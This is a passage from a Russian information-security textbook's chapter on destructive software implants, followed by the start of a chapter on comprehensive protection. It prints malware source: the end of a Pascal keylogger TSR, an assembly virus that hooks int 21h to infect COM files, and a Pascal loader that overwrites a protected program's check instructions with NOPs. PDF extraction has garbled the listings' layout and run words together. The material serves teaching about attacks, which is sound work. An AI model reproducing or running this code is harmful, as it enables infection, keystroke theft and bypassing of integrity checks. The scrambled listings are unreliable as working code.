Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
ОЗІ / Лекц_ї / все / Методы и средства защиты информации, 2003.pdf
Скачиваний:
830
Добавлен:
05.06.2015
Размер:
8.14 Mб
Скачать

Разрушающие программные средства 251

MsDos(R);

DOSSeg := R.ES; DOSOfs := R.BX; end;

begin InitTSR;

CBuf := 0;

FillChar(KBuf,SizeOf(KBuf),0);

WaitBuf

:= 5; { Задержка (сек) перед отправкой буфера в файл.}

NeedPop

:= False;

Tick

:= 0;

GetIntVec($9,@Old9h);

SetIntVec($9,@New9h);

SetIntVec($28,@Int28TSR);

SetIntVec($1C,@RunTSR); Keep(0);

end.

Перехват и обработка файловых операций

Программное средство защиты информации (ПСЗИ) производит некоторые файловые операции. Для этого открывается файл, часть его или весь файл считывается в буфер оперативной памяти, обрабатывается и затем записывается в файл с прежним или новым именем.

Активизирующим событием в данном случае является, как правило, открытие файла (int 21h, функция 3Dh), либо его закрытие.

Таким образом, закладка порождает в системе “исходный файл — ПСЗИ — выходной файл” новыесвязи, включаяв нихсвоиоперацииимассивыданных.

Рассмотрим механизм работы закладки для DOS, которая встраивается в цепочку прерывания int 21h для следующих функций.

Открытие файла (функция 3Dh). Закладка отфильтровывает нужные имена или дескрипторы файлов.

Чтение из файла (функция 3Fh). Закладка выполняет прерывание по старому адресу указателя, затем сохраняет считанный буфер в собственный, обычно скрытый файл, либо исправляет в буфере некоторые байты файла, кроме того возможно влияние на результаты операции чтения. Данные действия особенно опасны для программ подтверждения подлинности электронных документов (электронная подпись).

252 Глава 14. Методы и средства разрушения информации

Запись в файл (функция 40h). Закладка редактирует нужным образом буфер в оперативной памяти, либо сохраняет файл или часть его в скрытую область, а затем выполняет старое прерывание, в результате чего записывается файл с измененным содержанием, либо каким-то образом дублированный в скрытой области. Закладки такого типа могут навязывать истинность электронной подписи даже тогда, когда файл был изменен.

Влистинге 14.2 представлен пример вируса, использующего механизм перехвата файловых операция для модификации файлов типа COM своим кодом.

Листинг 14.2. Пример перехвата файловых операций для выполнения несанкционированной записи в файл

.model tiny

.code

org 100h start:

push si push si mov es,bx

mov di,2B0h cli

cmpsb

jz loc_2 dec si dec di

Продолжение листинга 14.2

mov

cl,50h

rep movsb

mov

si,21h*4

 

push

si

 

movs

word ptr es:[di],word ptr es:[si]

movs

word ptr es:[di],word ptr es:[si]

pop

di

 

mov

al,2Bh

 

stosw

 

 

stosw

 

 

loc_2:

di

 

pop

 

lea

si,[di+50h]

 

mov

cx,sp

 

sub

cx,si

 

push

cs

 

 

 

Разрушающие программные средства 253

 

 

 

pop

es

 

rep

movsb

 

retn

 

 

; новый обработчик 21-го прерывания

cmp

ah,3Ch

; функция создания файла ?

jne

loc_5

; если нет — на выход

int

0C0h

; если (2B0h+50h)/4 = 0C0h, т.е. адрес

push

ax

; старого обработчика int 21h

 

xchg

bx,ax

; si = dx

mov

si,dx

locloop_3: dec si lodsw

cmp ax,'mo'

loopnz

locloop_3

jnz

loc_4

 

push

ds

 

push

cs

 

pop

ds

 

mov

ah,40h

mov

cl,50h

cwd

21h

 

int

 

pop

ds

 

Окончание листинга 14.2

loc_4:

pop ax clc retf 2

loc_5:

db 0EAh int 20h

end start

Разрушение программы защиты и схем контроля

Допустим, что злоумышленнику известна интересующая его программа с точностью до команд реализации на конкретном процессоре. Следовательно, возможно смо-

254 Глава 14. Методы и средства разрушения информации

делировать процесс ее загрузки и выяснить адреса частей программы относительно сегмента оперативной памяти, в которой она загружается.

Это означает, что возможно произвольное изменение кода программы и обеспечение отклонения (как правило, негативного характера) в работе прикладной программы.

Тогда алгоритм действия закладки может быть следующим.

1.Закладка загружается в память каким-либо образом.

2.Закладка осуществляет перехват (редактирование цепочки) одного или нескольких прерываний:

прерывание DOS “запуск программ и загрузка оверлеев” (int 21h, функция

4Bh);

прерывание BIOS “считать сектор” (int 13h, функция 02h);

прерывание от системного таймера (int 08h).

3.По одному из трех событий закладка получает управление на свой код и далее выполняет следующие операции:

проверка принадлежности запущенной программы или уже работающей (для таймерного прерывания) к интересующим программам;

определение сегмента, в который загружена программа;

запись относительно определенного сегмента загрузки некоторых значений в оперативную память так, чтобы отключить схемы контроля и (или) исправить программу нужным образом.

Принципиальная возможность исправления кода следует из того, что вывод о правильности работы программы делается на основе операций сравнения в арифметикологическом устройстве процессора.

Сравнение результатов работы выполняется командой CMP, а результат сравнения изменяет один или несколько бит регистра флагов. Следовательно, того же результата можно добиться, изменив эти биты в одной из команд работы с регистром флагов типа

CLD, CLS, LAHF и т.д.

Наконец, возможен случай, когда содержательный код программы защиты вместе со схемой контроля будет удален из памяти полностью и все последующие операции будут выполнены без влияния программы защиты.

Таким образом, анализируя в данном случае действия закладки, необходимо считать возможным любые искажения кода программ.

Основным способом активизации разрушающих закладок является запуск ассоциированных с ними программ. При этом закладка получает управление первой и выполняет какие-либо действия (изменение адресов прерывания на собственные обработчики, исправление в коде программ защиты и т.д.).

Листинг 14.3. Пример закладки, разрушающей схему контроля

{$M 1024,0,0} {$I-}

uses

Разрушающие программные средства 255

Dos; const

CMPSeg=$2E7F; { Адреса ячеек, подлежащих модификации, } CMPOfs=12; { указанные относительно PSP } JMPSeg=$2EA4;

JMPOfs=2; var

DOSSeg, DOSOfs, Psp:word; OldInt8h:pointer;

procedure Int8h; interrupt; begin

if (Psp=PrefixSeg) then begin

if(Mem[DOSSeg:DOSOfs]=0) then asm

mov ah, 62h int 21h mov Psp, bx

end; end else begin

MemW[CMPSeg+Psp:CMPOfs]:=$9090; { Запись NOP вместо CMP } MemW[JMPSeg+Psp:JMPOfs]:=$9090; { Запись NOP вместо JMP }

Окончание листинга 14.3

end; asm

pushf

call dword ptr OldInt8h end;

end; begin asm

mov ah, 34h int 21h

mov DOSOfs, bx mov DOSSeg, es

end;

Psp:=PrefixSeg; GetIntVec(8, OldInt8h); SwapVectors;

256 Глава 14. Методы и средства разрушения информации

SetIntVec(8, @Int8h); Exec('SECURED.EXE', ''); SetIntVec(8, OldInt8h); SwapVectors;

end.

ЧАСТЬ

ЗАЩИТА ИНФОРМАЦИИ

Глава 15

Подходы к созданию комплексной системы защиты информации

Для рассмотрения проблемы ЗИ в общем виде выделим в ее предметной области три следующие иерархии: структурную, причинно-следственную и функциональную.

Способы ЗИ зависят от типа информации, формы ее хранения, обработки и передачи, типа носителя информации, а также предполагаемого способа нападения и последствий его по влиянию на информацию (копирование, искажение, уничтожение).

В основном владелец информации не знает где, когда и каким образом будет осуществлено нападение, поэтому ему необходимо обнаружить сам факт нападения.

Определение потенциальной ценности информации позволяет подумать в первую очередь о безопасности наиболее важных секретов, утечка которых способна нанести ущерб. При этом важно установить.

1.Какая информация нуждается в защите?

2.Кого она может интересовать?

3.Какие элементы информации наиболее ценные?

4.Каков “срок жизни” этих секретов?

5.Во что обойдется их защита?

Опыт применения систем ЗИ (СЗИ) показывает, что эффективной может быть лишь

комплексная система защиты информации (КСЗИ), сочетающая следующие меры.

1.Законодательные. Использование законодательных актов, регламентирующих права и обязанности физических и юридических лиц, а также государства в области ЗИ.

2.Морально-этические. Создание и поддержание на объекте такой моральной атмосферы, в которой нарушение регламентированных правил поведения оценивалось бы большинством сотрудников резко негативно.

3.Физические. Создание физических препятствий для доступа посторонних лиц к охраняемой информации.

4.Административные. Организация соответствующего режима секретности, пропускного и внутреннего режима.

5.Технические. Применение электронных и других устройств для ЗИ.

6.Криптографические. Применение шифрования и кодирования для сокрытия обрабатываемой и передаваемой информации от несанкционированного доступа.